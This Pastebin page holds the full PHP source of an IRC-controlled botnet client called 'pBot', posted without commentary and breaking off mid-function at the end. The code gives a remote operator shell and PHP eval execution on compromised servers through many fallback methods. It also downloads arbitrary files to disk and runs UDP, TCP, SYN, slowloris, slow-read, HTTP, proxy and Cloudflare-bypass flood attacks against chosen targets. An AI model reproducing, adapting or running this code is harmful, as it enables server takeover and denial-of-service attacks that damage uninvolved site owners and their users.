KekSec

Untitled

Dec 28th, 2017
956
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.32 KB | None | 0 0
  1. <?php
  2. $cfg = array(
  3. "server" => "irc.freenode.net",
  4. "port" => "6667",
  5. "key" => "*",
  6. "prefix" => "",
  7. "maxrand" => "8",
  8. "chan" => "#fuckery",
  9. "trigger" => ".",
  10. "hostauth" => "localhost"
  11. );
  12. set_time_limit(0);
  13. error_reporting(0);
  14. $dir = getcwd();
  15. $uname = @php_uname();
  16. function whereistmP() {
  17. $uploadtmp = ini_get('upload_tmp_dir');
  18. $uf = getenv('USERPROFILE');
  19. $af = getenv('ALLUSERSPROFILE');
  20. $se = ini_get('session.save_path');
  21. $envtmp = (getenv('TMP')) ? getenv('TMP') : getenv('TEMP');
  22. if(is_dir('/tmp') && is_writable('/tmp'))
  23.  
  24. return '/tmp';
  25. if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))
  26.  
  27. return '/usr/tmp';
  28. if(is_dir('/var/tmp') && is_writable('/var/tmp'))
  29.  
  30. return '/var/tmp';
  31. if(is_dir($uf) && is_writable($uf))
  32.  
  33. return $uf;
  34. if(is_dir($af) && is_writable($af))
  35.  
  36. return $af;
  37. if(is_dir($se) && is_writable($se))
  38.  
  39. return $se;
  40. if(is_dir($uploadtmp) && is_writable($uploadtmp))
  41.  
  42. return $uploadtmp;
  43. if(is_dir($envtmp) && is_writable($envtmp))
  44.  
  45. return $envtmp;
  46. return '.';
  47. }
  48. function srvshelL($command) {
  49. $name = whereistmP() . "\\" . uniqid('NJ');
  50. $n = uniqid('NJ');
  51. $cmd = (empty($_SERVER['ComSpec'])) ? 'd:\\windows\\system32\\cmd.exe' : $_SERVER['ComSpec'];
  52. win32_create_service(array(
  53. 'service' => $n,
  54. 'display' => $n,
  55. 'path' => $cmd,
  56. 'params' => "/c $command >\"$name\""
  57. ));
  58. win32_start_service($n);
  59. win32_stop_service($n);
  60. win32_delete_service($n);
  61. while(!file_exists($name))
  62. sleep(1);
  63. $exec = file_get_contents($name);
  64. unlink($name);
  65.  
  66. return $exec;
  67. }
  68. function ffishelL($command) {
  69. $name = whereistmP() . "\\" . uniqid('NJ');
  70. $api = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  71. $res = $api->WinExec("cmd.exe /c $command >\"$name\"", 0);
  72. while(!file_exists($name))
  73. sleep(1);
  74. $exec = file_get_contents($name);
  75. unlink($name);
  76.  
  77. return $exec;
  78. }
  79. function comshelL($command, $ws) {
  80. $exec = $ws->exec("cmd.exe /c $command");
  81. $so = $exec->StdOut();
  82.  
  83. return $so->ReadAll();
  84. }
  85. function perlshelL($command) {
  86. $perl = new perl();
  87. ob_start();
  88. $perl->eval("system(\"$command\")");
  89. $exec = ob_get_contents();
  90. ob_end_clean();
  91.  
  92. return $exec;
  93. }
  94. function Exe($command) {
  95. $exec = $output = '';
  96. $dep[] = array(
  97. 'pipe',
  98. 'r'
  99. );
  100. $dep[] = array(
  101. 'pipe',
  102. 'w'
  103. );
  104. if (function_exists('passthru')) {
  105. ob_start();
  106. @passthru($command);
  107. $exec = ob_get_contents();
  108. ob_clean();
  109. ob_end_clean();
  110. } elseif (function_exists('system')) {
  111. $tmp = ob_get_contents();
  112. ob_clean();
  113. @system($command);
  114. $output = ob_get_contents();
  115. ob_clean();
  116. $exec = $tmp;
  117. } elseif (function_exists('exec')) {
  118. @exec($command, $output);
  119. $output = join("\n", $output);
  120. $exec = $output;
  121. } elseif(function_exists('shell_exec'))
  122. $exec = @shell_exec($command);
  123. elseif (function_exists('popen')) {
  124. $output = @popen($command, 'r');
  125. while (!feof($output)) {
  126. $exec = fgets($output);
  127. }
  128. pclose($output);
  129. } elseif (function_exists('proc_open')) {
  130. $res = @proc_open($command, $dep, $pipes);
  131. while (!feof($pipes[1])) {
  132. $line = fgets($pipes[1]);
  133. $output .= $line;
  134. }
  135. $exec = $output;
  136. proc_close($res);
  137. } elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  138. $exec = winshelL($command);
  139. elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  140. $exec = srvshelL($command);
  141. elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  142. $exec = ffishelL($command);
  143. elseif(extension_loaded('perl'))
  144. $exec = perlshelL($command);
  145.  
  146. return $exec;
  147. }
  148. class pBot {
  149. public $config = '';
  150. public $user_agents = array(
  151. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16",
  152. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17",
  153. "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
  154. "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2",
  155. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
  156. "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
  157. "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)",
  158. "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00"
  159. );
  160. public $charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  161. public $users = array();
  162. public function start($cfg) {
  163. $this->config = $cfg;
  164. while (true) {
  165. if(!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))
  166. $this->start($cfg);
  167. $ident = $this->config['prefix'];
  168. $alph = range("0", "9");
  169. for($i = 0; $i < $this->config['maxrand']; $i++)
  170. $ident .= $alph[rand(0, 9)];
  171. $this->send("USER " . $ident . " 127.0.0.1 localhost :" . php_uname() . "");
  172. $this->set_nick();
  173. $this->main();
  174. }
  175. }
  176. public function main() {
  177. while (!feof($this->conn)) {
  178. if (function_exists('stream_select')) {
  179. $read = array(
  180. $this->conn
  181. );
  182. $write = NULL;
  183. $except = NULL;
  184. $changed = stream_select($read, $write, $except, 30);
  185. if ($changed == 0) {
  186. fwrite($this->conn, "PING :lelcomeatme\r\n");
  187. $read = array(
  188. $this->conn
  189. );
  190. $write = NULL;
  191. $except = NULL;
  192. $changed = stream_select($read, $write, $except, 30);
  193. if($changed == 0)
  194. break;
  195. }
  196. }
  197. $this->buf = trim(fgets($this->conn, 512));
  198. $cmd = explode(" ", $this->buf);
  199. if (substr($this->buf, 0, 6) == "PING :") {
  200. $this->send("PONG :" . substr($this->buf, 6));
  201. continue;
  202. }
  203. if (isset($cmd[1]) && $cmd[1] == "001") {
  204. $this->join($this->config['chan'], $this->config['key']);
  205. continue;
  206. }
  207. if (isset($cmd[1]) && $cmd[1] == "433") {
  208. $this->set_nick();
  209. continue;
  210. }
  211. if ($this->buf != $old_buf) {
  212. $mcmd = array();
  213. $msg = substr(strstr($this->buf, " :"), 2);
  214. $msgcmd = explode(" ", $msg);
  215. $nick = explode("!", $cmd[0]);
  216. $vhost = explode("@", $nick[1]);
  217. $vhost = $vhost[1];
  218. $nick = substr($nick[0], 1);
  219. $host = $cmd[0];
  220. if($msgcmd[0] == $this->nick)
  221. for($i = 0; $i < count($msgcmd); $i++)
  222. $mcmd[$i] = $msgcmd[$i + 1];
  223. else
  224. for($i = 0; $i < count($msgcmd); $i++)
  225. $mcmd[$i] = $msgcmd[$i];
  226. if (count($cmd) > 2) {
  227. switch ($cmd[1]) {
  228. case "PRIVMSG":
  229. if ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*") {
  230. if (substr($mcmd[0], 0, 1) == ".") {
  231. switch (substr($mcmd[0], 1)) {
  232. case "mail":
  233. if (count($mcmd) > 4) {
  234. $header = "From: <" . $mcmd[2] . ">";
  235. if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) {
  236. $this->privmsg($this->config['chan'], "[\2mail\2]: failed sending.");
  237. } else {
  238. $this->privmsg($this->config['chan'], "[\2mail\2]: sent.");
  239. }
  240. }
  241. break;
  242. case "dns":
  243. if (isset($mcmd[1])) {
  244. $ip = explode(".", $mcmd[1]);
  245. if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) {
  246. $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyaddr($mcmd[1]));
  247. } else {
  248. $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyname($mcmd[1]));
  249. }
  250. }
  251. break;
  252. case "uname":
  253. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  254. $safemode = "on";
  255. } else {
  256. $safemode = "off";
  257. }
  258. $uname = php_uname();
  259. $this->privmsg($this->config['chan'], "[\2info\2]: " . $uname . " (safe: " . $safemode . ")");
  260. break;
  261. case "rndnick":
  262. $this->set_nick();
  263. break;
  264. case "raw":
  265. $this->send(strstr($msg, $mcmd[1]));
  266. break;
  267. case "eval":
  268. ob_start();
  269. eval(strstr($msg, $mcmd[1]));
  270. $exec = ob_get_contents();
  271. ob_end_clean();
  272. $ret = explode("\n", $exec);
  273. for($i = 0; $i < count($ret); $i++)
  274. if($ret[$i] != NULL)
  275. $this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
  276. break;
  277. case "exec":
  278. $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
  279. $exec = exec($command);
  280. $ret = explode("\n", $exec);
  281. for($i = 0; $i < count($ret); $i++)
  282. if($ret[$i] != NULL)
  283. $this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
  284. break;
  285. case "cmd":
  286. $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
  287. $exec = Exe($command);
  288. $ret = explode("\n", $exec);
  289. for($i = 0; $i < count($ret); $i++)
  290. if($ret[$i] != NULL)
  291. $this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
  292. break;
  293. case "ud.server":
  294. if (count($mcmd) > 2) {
  295. $this->config['server'] = $mcmd[1];
  296. $this->config['port'] = $mcmd[2];
  297. if (isset($mcmcd[3])) {
  298. $this->config['pass'] = $mcmd[3];
  299. $this->privmsg($this->config['chan'], "[\2update\2]: info updated " . $mcmd[1] . ":" . $mcmd[2] . " pass: " . $mcmd[3]);
  300. } else {
  301. $this->privmsg($this->config['chan'], "[\2update\2]: switched server to " . $mcmd[1] . ":" . $mcmd[2]);
  302. }
  303. fclose($this->conn);
  304. }
  305. break;
  306. case "download":
  307. if (count($mcmd) > 2) {
  308. if (!$fp = fopen($mcmd[2], "w")) {
  309. $this->privmsg($this->config['chan'], "[\2download\2]: could not open output file.");
  310. } else {
  311. if (!$get = file($mcmd[1])) {
  312. $this->privmsg($this->config['chan'], "[\2download\2]: could not download \2" . $mcmd[1] . "\2");
  313. } else {
  314. for ($i = 0; $i <= count($get); $i++) {
  315. fwrite($fp, $get[$i]);
  316. }
  317. $this->privmsg($this->config['chan'], "[\2download\2]: file \2" . $mcmd[1] . "\2 downloaded to \2" . $mcmd[2] . "\2");
  318. }
  319. fclose($fp);
  320. }
  321. } else {
  322. $this->privmsg($this->config['chan'], "[\2download\2]: use .download http://your.host/file /tmp/file");
  323. }
  324. break;
  325. case "udpflood":
  326. if (count($mcmd) > 4) {
  327. $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
  328. }
  329. break;
  330. case "tcpconn":
  331. if (count($mcmd) > 5) {
  332. $this->tcpconn($mcmd[1], $mcmd[2], $mcmd[3]);
  333. }
  334. break;
  335. case "rudy":
  336. if (count($mcmd) > 2) {
  337. $this->doSlow($mcmd[1], $mcmd[2]);
  338. }
  339. break;
  340. case "slowread":
  341. if (count($mcmd) > 3) {
  342. $this->slowRead($mcmd[1], $mcmd[2], $mcmd[3]);
  343. }
  344. break;
  345. case "slowloris":
  346. if (count($mcmd) > 2) {
  347. $this->doSlow($mcmd[1], $mcmd[2]);
  348. }
  349. break;
  350. case "synflood":
  351. if (count($mcmd) > 3) {
  352. $this->synflood($mcmd[1], $mcmd[2], $mcmd[3]);
  353. }
  354. case "l7":
  355. if (count($mcmd) > 3) {
  356. if ($mcmd[1] == "get") {
  357. $this->attack_http("GET", $mcmd[2], $mcmd[3]);
  358. }
  359. if ($mcmd[1] == "post") {
  360. $this->attack_post($mcmd[2], $mcmd[3]);
  361. }
  362. if ($mcmd[1] == "head") {
  363. $this->attack_http("HEAD", $mcmd[2], $mcmd[3]);
  364. }
  365. }
  366. break;
  367. case "syn":
  368. if (count($mcmd) > 2) {
  369. $this->syn($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
  370. } else {
  371. $this->privmsg($this->config['chan'], "syntax: syn host port time [delaySeconds]");
  372. }
  373. break;
  374. case "tcpflood":
  375. if (count($mcmd) > 2) {
  376. $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3]);
  377. } else {
  378. $this->privmsg($this->config['chan'], "syntax: tcpflood host port time");
  379. }
  380. break;
  381. case "httpflood":
  382. if (count($mcmd) > 2) {
  383. $this->httpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]);
  384. } else {
  385. $this->privmsg($this->config['chan'], "syntax: httpflood host port time [method] [url]");
  386. }
  387. break;
  388. case "proxyhttpflood":
  389. if (count($mcmd) > 2) {
  390. $this->proxyhttpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
  391. } else {
  392. $this->privmsg($this->config['chan'], "syntax: proxyhttpflood targetUrl(with http://) proxyListUrl time [method]");
  393. }
  394. break;
  395. case "cloudflareflood":
  396. print_r($mcmd);
  397. if (count($mcmd) > 2) {
  398. $this->cloudflareflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5], $mcmd[6]);
  399. } else {
  400. $this->privmsg($this->config['chan'], "syntax: cloudflareflood host port time [method] [url] [postFields]");
  401. }
  402. break;
  403. }
  404. }
  405. }
  406. break;
  407. }
  408. }
  409. }
  410. }
  411. }
  412. public function send($msg) {
  413. fwrite($this->conn, $msg . "\r\n");
  414. }
  415. public function join($chan, $key = NULL) {
  416. $this->send("JOIN " . $chan . " " . $key);
  417. }
  418. public function privmsg($to, $msg) {
  419. $this->send("PRIVMSG " . $to . " :" . $msg);
  420. }
  421. public function notice($to, $msg) {
  422. $this->send("NOTICE " . $to . " :" . $msg);
  423. }
  424. public function set_nick() {
  425. $fp = fsockopen("freegeoip.net", 80, $dummy, $dummy, 30);
  426. if(!$fp)
  427. $this->nick = "[UKN]";
  428. else {
  429. fclose($fp);
  430. $ctx = stream_context_create(array(
  431. 'http' => array(
  432. 'timeout' => 30
  433. )
  434. ));
  435. $buf = file_get_contents("http://freegeoip.net/json/", 0, $ctx);
  436. if(!strstr($buf, "country_code"))
  437. $this->nick = "[UKN]";
  438. else {
  439. $code = strstr($buf, "country_code");
  440. $code = substr($code, 12);
  441. $code = substr($code, 3, 2);
  442. $this->nick = "[" . $code . "]";
  443. }
  444. }
  445. if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
  446. $this->nick .= "[WIN32]";
  447. else
  448. $this->nick .= "[LINUX]";
  449. if (isset($_SERVER['SERVER_SOFTWARE'])) {
  450. if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache"))
  451. $this->nick .= "[A]";
  452. elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "iis"))
  453. $this->nick .= "[I]";
  454. elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "xitami"))
  455. $this->nick .= "[X]";
  456. elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "nginx"))
  457. $this->nick .= "[N]";
  458. else
  459. $this->nick .= "[U]";
  460. } else {
  461. $this->nick .= "[C]";
  462. }
  463. $this->nick .= $this->config['prefix'];
  464. for($i = 0; $i < $this->config['maxrand']; $i++)
  465. $this->nick .= mt_rand(0, 9);
  466. $this->send("NICK " . $this->nick);
  467. }
  468. public function cloudflareflood($host, $port, $time, $method="GET", $url="/", $post=array()) {
  469. $this->privmsg($this->config['chan'], "[\2CloudFlareFlood Started!\2]");
  470. $timei = time();
  471. $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
  472. $packet = "$method $url HTTP/1.1\r\n";
  473. $packet .= "Host: $host\r\n";
  474. $packet .= "Keep-Alive: 300\r\n";
  475. $packet .= "Connection: keep-alive\r\n";
  476. $packet .= "User-Agent: $user_agent\r\n";
  477. //Cloudflare Bypass
  478. $res = curl($host, null, $user_agent, true);
  479. //Cloudflare Bypass
  480. if (strstr($res, "DDoS protection by CloudFlare")) {
  481. $this->privmsg($this->config['chan'], "[\2CloudFlare detected!...\2]");
  482. //Get the math calc
  483. $math_calc = get_between($res, "a.value = ", ";");
  484. if ($math_calc) {
  485. $math_result = (int) eval("return ($math_calc);");
  486. if (is_numeric($math_result)) {
  487. $math_result += strlen($host); //Domain lenght
  488. //Send the CloudFlare's form
  489. $getData = "cdn-cgi/l/chk_jschl";
  490. $getData .= "?jschl_vc=".get_between($res, 'name="jschl_vc" value="', '"');
  491. $getData .= "&jschl_answer=".$math_result;
  492. $res = curl($host.$getData, null, $user_agent);
  493. //Cloudflare Bypassed?
  494. if (strstr($res, "DDoS protection by CloudFlare")) {
  495. $this->privmsg($this->config['chan'], "[\2CloudFlare not bypassed...\2]");
  496.  
  497. return false;
  498. } else {
  499. $bypassed = true;
  500. //Cookie read
  501. $cookie = trim(get_between(file_get_contents("cookie.txt"), "__cfduid", "\n"));
  502. $packet .= "Cookie: __cfduid=".$cookie."\r\n\r\n";
  503. }
  504. }
  505. }
  506. } else {
  507. $this->privmsg($this->config['chan'], "[\2CloudFlare not detected...\2]");
  508. }
  509. if ($bypassed) {
  510. $this->privmsg($this->config['chan'], "[\2CloudFlare bypassed!\2]");
  511. }
  512. $this->privmsg($this->config['chan'], "[\2Flodding...\2]");
  513. while (time() - $timei < $time) {
  514. $handle = fsockopen($host, $port, $errno, $errstr, 1);
  515. fwrite($handle, $packet);
  516. }
  517. $this->privmsg($this->config['chan'], "[\2CloudFlareFlood Finished!\2]");
  518. }
  519. public function httpflood($host, $port, $time, $method="GET", $url="/") {
  520. $this->privmsg($this->config['chan'], "[\2HttpFlood Started!\2]");
  521. $timei = time();
  522. $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
  523. $packet = "$method $url HTTP/1.1\r\n";
  524. $packet .= "Host: $host\r\n";
  525. $packet .= "Keep-Alive: 900\r\n";
  526. $packet .= "Cache-Control: no-cache\r\n";
  527. $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  528. $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  529. $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n";
  530. $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n";
  531. $packet .= "Connection: keep-alive\r\n";
  532. $packet .= "User-Agent: $user_agent\r\n\r\n";
  533. while (time() - $timei < $time) {
  534. $handle = fsockopen($host, $port, $errno, $errstr, 1);
  535. fwrite($handle, $packet);
  536. }
  537. $this->privmsg($this->config['chan'], "[\2HttpFlood Finished!\2]");
  538. }
  539. public function proxyhttpflood($url, $proxyListUrl, $time, $method="GET") {
  540. $this->privmsg($this->config['chan'], "[\2ProxyHttpFlood Started!\2]");
  541. $timei = time();
  542. //Grabbing proxy
  543. $proxyList = curl($proxyListUrl);
  544. if ($proxyList) {
  545. $proxies = explode("\n", $proxyList);
  546. if (count($proxies)) {
  547. shuffle($proxies);
  548. $proxies[0] = trim($proxies[0]);
  549. $proxy = explode(":", $proxies[0]);
  550. $proxyIp = $proxy[0];
  551. $proxyPort = $proxy[1];
  552. if ($proxyPort && $proxyIp) {
  553. $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
  554. $packet = "$method $url HTTP/1.1\r\n";
  555. $packet .= "Host: $host\r\n";
  556. $packet .= "Keep-Alive: 900\r\n";
  557. $packet .= "Cache-Control: no-cache\r\n";
  558. $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  559. $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  560. $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n";
  561. $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n";
  562. $packet .= "Connection: keep-alive\r\n";
  563. $packet .= "User-Agent: $user_agent\r\n\r\n";
  564. while (time() - $timei < $time) {
  565. $handle = fsockopen($proxyIp, $proxyPort, $errno, $errstr, 1);
  566. fwrite($handle, $packet);
  567. }
  568. } else {
  569. $this->privmsg($this->config['chan'], "[\2Malformed proxy!\2]");
  570. }
  571. } else {
  572. $this->privmsg($this->config['chan'], "[\2No proxies found!\2]");
  573. }
  574. } else {
  575. $this->privmsg($this->config['chan'], "[\2Proxy List not found!\2]");
  576. }
  577. $this->privmsg($this->config['chan'], "[\2ProxyHttpFlood Finished (Proxy: ".$proxies[0].")!\2]");
  578. }
  579. public function tcpflood($host, $port, $time) {
  580. $this->privmsg($this->config['chan'], "[\2TCP Started!\2]");
  581. $timei = time();
  582. $packet = "";
  583. for ($i = 0; $i < 65000; $i++) {
  584. $packet .= $this->charset[rand(0, strlen($this->charset))];
  585. }
  586. while (time() - $timei < $time) {
  587. $handle = fsockopen("tcp://".$host, $port, $errno, $errstr, 1);
  588. fwrite($handle, $packet);
  589. }
  590. $this->privmsg($this->config['chan'], "[\2TCP Finished!\2]");
  591. }
  592. public function slowRead($host, $port, $time) {
  593. $timei = time();
  594. $fs = array();
  595. //initialize get headers.
  596. $this->privmsg($this->config['chan'], "[\2Started Slowread!\2]");
  597. $headers = "GET / HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\r\n\r\n";
  598. while (time() - $timei < $time) {
  599. for ($i = 0; $i < 100; $i++) {
  600. $fs[$i] = @fsockopen($host, $port, $errno, $errstr);
  601. fwrite($fs[$i], $headers);
  602. }
  603. while (time() - $timei < $time) {
  604. for ($i = 0; $i < count($fs); $i++) {
  605. if (!$fs[$i]) {
  606. $fs[$i] = @fsockopen($host, $port, $errno, $errstr);
  607. fwrite($fs[$i], $headers);
  608. }
  609. fread($fs[$i], 1);
  610. }
  611. sleep(mt_rand(0.5, 2));
  612. }
  613. }
  614. $this->privmsg($this->config['chan'], "[\2Finished Slowread\2]");
  615. }
  616. public function attack_http($mthd, $server, $time) {
  617. $timei = time();
  618. $fs = array();
  619. $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Started On : $server!\2]");
  620. $request = "$mthd / HTTP/1.1\r\n";
  621. $request .= "Host: $server\r\n";
  622. $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
  623. $request .= "Keep-Alive: 900\r\n";
  624. $request .= "Accept: *.*\r\n";
  625. $timei = time();
  626. for ($i = 0; $i < 100; $i++) {
  627. $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
  628. }
  629. while ((time() - $timei < $time)) {
  630. for ($i = 0; $i < 100; $i++) {
  631. if (@fwrite($fs[$i], $request)) {
  632. continue;
  633. } else {
  634. $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
  635. }
  636. }
  637. }
  638. $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Finished!\2]");
  639. }
  640. public function attack_post($server, $host, $time) {
  641. $timei = time();
  642. $fs = array();
  643. $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Started On : $server!\2]");
  644. $request = "POST /" . md5(rand()) . " HTTP/1.1\r\n";
  645. $request .= "Host: $host\r\n";
  646. $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
  647. $request .= "Keep-Alive: 900\r\n";
  648. $request .= "Content-Length: 1000000000\r\n";
  649. $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
  650. $request .= "Accept: *.*\r\n";
  651. for ($i = 0; $i < 100; $i++) {
  652. $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
  653. }
  654. while ((time() - $timei < $time)) {
  655. for ($i = 0; $i < 100; $i++) {
  656. if (@fwrite($fs[$i], $request)) {
  657. continue;
  658. } else {
  659. $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
  660. }
  661. }
  662. }
  663. fclose($sockfd);
  664. $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Finished!\2]");
  665. }
  666. public function doSlow($host, $time) {
  667. $this->privmsg($this->config['chan'], "[\2SlowLoris Started!\2]");
  668. $timei = time();
  669. $i = 0;
  670. for ($i = 0; $i < 100; $i++) {
  671. $fs[$i] = @fsockopen($host, 80, $errno, $errstr);
  672. }
  673. while ((time() - $timei < $time)) {
  674. for ($i = 0; $i < 100; $i++) {
  675. $out = "POST / HTTP/1.1\r\n";
  676. $out .= "Host: {$host}\r\n";
  677. $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
  678. $out .= "Content-Length: " . rand(1, 1000) . "\r\n";
  679. $out .= "X-a: " . rand(1, 10000) . "\r\n";
  680. if (@fwrite($fs[$i], $out)) {
  681. continue;
  682. } else {
  683. $fs[$i] = @fsockopen($server, 80, $errno, $errstr);
  684. }
  685. }
  686. }
  687. $this->privmsg($this->config['chan'], "[\2SlowLoris Finished!\2]");
  688. }
  689. public function syn($host, $port, $time, $delay=1) {
  690. $this->privmsg($this->config['chan'], "[\2SYN Started!\2]");
  691. $timei = time();
  692. $socks = array();
  693. while (time() - $timei < $time) {
  694. $numsocks++;
  695. $socks[$numsocks] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  696. if (!$socks[$numsocks]) continue;
  697. @socket_set_nonblock($socks[$numsocks]);
  698. for ($j = 0; $j < 20; $j++)
  699. @socket_connect($socks[$numsocks], $host, $port);
  700. sleep($delay);
  701. }
  702. $this->privmsg($this->config['chan'], "[\2SYN Finished (".$numsocks." socks created)!\2]");
  703. }
  704. public function synflood($host, $port, $delay) {
  705. $this->privmsg($this->config['chan'], "[\2synFlood Started!\2]");
  706. $socks = array();
  707. $numsocks = 0;
  708. $numsocks++;
  709. $socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  710. if(!$socks[$numsocks])
  711. continue;
  712. @socket_set_nonblock($socks[$numsocks]);
  713. for($j = 0; $j < 20; $j++)
  714. @socket_connect($socks[$numsocks], $host, $port);
  715. sleep($delay);
  716. for ($j = 0; $j < $numsocks; $j++) {
  717. if($socks[$j])
  718. @socket_close($socks[$j]);
  719. }
  720. $this->privmsg($this->config['chan'], "[\2SynFlood Finished!\2]: Config - For $host:$port.");
  721. }
  722. public function udpflood($host, $port, $time, $packetsize) {
  723. $this->privmsg($this->config['chan'], "[\2UdpFlood Started!\2]");
  724. $packet = "";
  725. for ($i = 0; $i < $packetsize; $i++) {
  726. $packet .= chr(rand(1, 256));
  727. }
  728. $end = time() + $time;
  729. $i = 0;
  730. $fp = fsockopen("udp://" . $host, $port, $e, $s, 5);
  731. while (true) {
  732. fwrite($fp, $packet);
  733. fflush($fp);
  734. if ($i % 100 == 0) {
  735. if($end < time())
  736. break;
  737. }
  738. $i++;
  739. }
  740. fclose($fp);
  741. $env = $i * $packetsize;
  742. $env = $env / 1048576;
  743. $vel = $env / $time;
  744. $vel = round($vel);
  745. $env = round($env);
  746. $this->privmsg($this->config['chan'], "[\2UdpFlood Finished!\2]: " . $env . " MB sent / Average: " . $vel . " MB/s ");
  747. }
  748. public function tcpconn($host, $port, $time) {
  749. $this->privmsg($this->config['chan'], "[\2TcpConn Started!\2]");
  750. $end = time() + $time;
  751. $i = 0;
  752. while ($end > time()) {
  753. $fp = fsockopen($host, $port, $dummy, $dummy, 1);
  754. fclose($fp);
  755. $i++;
  756. }
  757. $this->privmsg($this->config['chan'], "[\2TcpFlood Finished!\2]: sent " . $i . " connections to $host:$port.");
  758. }
  759. }
  760. $bot = new pBot;
  761. $bot->start($cfg);
  762.  
  763. function curl($url, $post=array(), $user_agent="", $deleteCookies=false) {
  764. $ch = curl_init($url);
  765. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  766. curl_setopt($ch, CURLOPT_URL, $url);
  767. if ($user_agent) {
  768. curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
  769. }
  770. if (!empty($post)) {
  771. curl_setopt($ch,CURLOPT_POST, 1);
  772. curl_setopt($ch,CURLOPT_POSTFIELDS, $post);
  773. }
  774. if ($deleteCookies) {
  775. file_put_contents("cookie.txt", "");
  776. }
  777. curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
  778. curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt");
  779. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  780. $result = curl_exec($ch);
  781. //$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  782. curl_close($ch);
  783.  
  784. return $result;
  785. }
  786.  
  787. function get_between($string,$start,$end) {
  788. $string = " ".$string;
